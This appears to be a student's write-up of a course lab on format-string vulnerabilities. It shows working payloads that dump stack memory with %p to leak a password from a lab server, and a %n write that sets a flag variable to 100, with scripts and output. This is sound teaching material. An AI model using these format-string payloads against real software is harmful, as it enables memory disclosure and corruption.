Assignment 3: CS6570

Suraj R: ME19B177
Nisha K: EE18B110

Problem 1 (Log in if you can)

Approach:

1. The password will either be stored on the stack, or an address pointing to the password will be stored on the stack.
2. Some trial and error showed that, on failure, the password input is passed to printf as the format string.
3. We can use the "`%p`" format specifier to print the contents of memory locations on the stack
4. We can use the `f"%{i}$p"` template to print the ith dword on the stack.
5. We can use the "`f%{i}$018p`" to zero pad the bytes for uniformity
6. If we need to print an address on the stack, we can use "`0xTHEADDRESSOFSTR_%26$s`" as the buffer is located 26 dwords into the stack.

Python Script:

We wrote a function that can take a "password" input and return the relevant part of the output. We then called it in a loop to dump a part of the stack. Each position was checked multiple times, and only those that don't change across runs and are non null are taken. The dword is then pretty printed.

```
suraj@amd-rathi ~/Documents/acads/sse/assis/a3/p1 (git)-[master] % ./stack_dump.py
  2:  0000000000000025  %\x00\x00\x00\x00\x00\x00\x00
  3:  00000000ffffffff  \xff\xff\xff\xff\x00\x00\x00\x00
  6:  000000090000001e  \x1e\x00\x00\x00\x09\x00\x00\x00
  8:  7373617073696874  thispass
  9:  656c736964726f77  wordisle
 10:  6d6f726664656b61  akedfrom
 11:  0000006b63617473  stack\x00\x00\x00
 12:  6873696a61727573  surajish
 13:  0000000000000069  i\x00\x00\x00\x00\x00\x00\x00
 24:  000009c000000000  \x00\x00\x00\x00\xc0\x09\x00\x00
 25:  000009c0000009c0  \xc0\x09\x00\x00\xc0\x09\x00\x00
 26:  7038313024363225  %26$018p
 12%|                                          | 32/256 [00:05<00:29,  7.51it/s]
```

Note: the script is in python3, and is not intended to be run in the VM.

Exploit String:

```
password=b"%%%i$018p" % i)
```

Where i is the index of the dword on the stack.

Password:

`thispasswordisleakedfromstack`

Screenshot

```
suraj@amd-rathi ~ % ncat 10.21.235.155 1023

Who are you? suraj

What is the password? thispasswordisleakedfromstack

Greetings, suraj! Welcome to the lab
_
```

Problem 2 (Overwrite arbitrary memory)

Approach

1. First we inspected the disassembly of the main function. We understood the control flow of the program
    a. The required value to be set in the flag variable is `100`.
2. We then ran the program in gdb, to note some addresses
    a. `gef➢  break *main+29`
        i. This is a line after the ebx register is initialized
        ii. Get the address of the buffer and the flag
    b. `gef➢  break *main+69`
        i. This is the line where `printf` is called
        ii. Get the value of the stack pointer
3. We then crafted the exploit string based on those values

When printf is called:

- `ESP: 0xffffcfb0`
- `BUF: 0xffffcfcc`
- `FLAG: 0x0804a02c`

```
i = (0xffffcfcc - 0xffffcfb0) / 4  # (4 is the size of a word)
  = 7
```

We need to construct an exploit string with

1. The address of the buffer
2. Pad that up to 100 bytes (i.e. 100 - 4 more characters)
3. %7$n (to write 100 to the flag)

Python Script

```python
#! /usr/bin/python

import sys

#                    Address        pad write
sys.stdout.write(b'\x2C\xA0\x04\x08%96c%7$n\n')
```

Exploit String

Address of flag, pad, write
b”\x2C\xA0\x04\x08%96c%7$n”

Screenshot

```
esctf@osboxes:~/sse/assis/a3/p2$ ./make_str.py | ./flag
Your input:
,
flag = 100

The system is compromised
esctf@osboxes:~/sse/assis/a3/p2$
```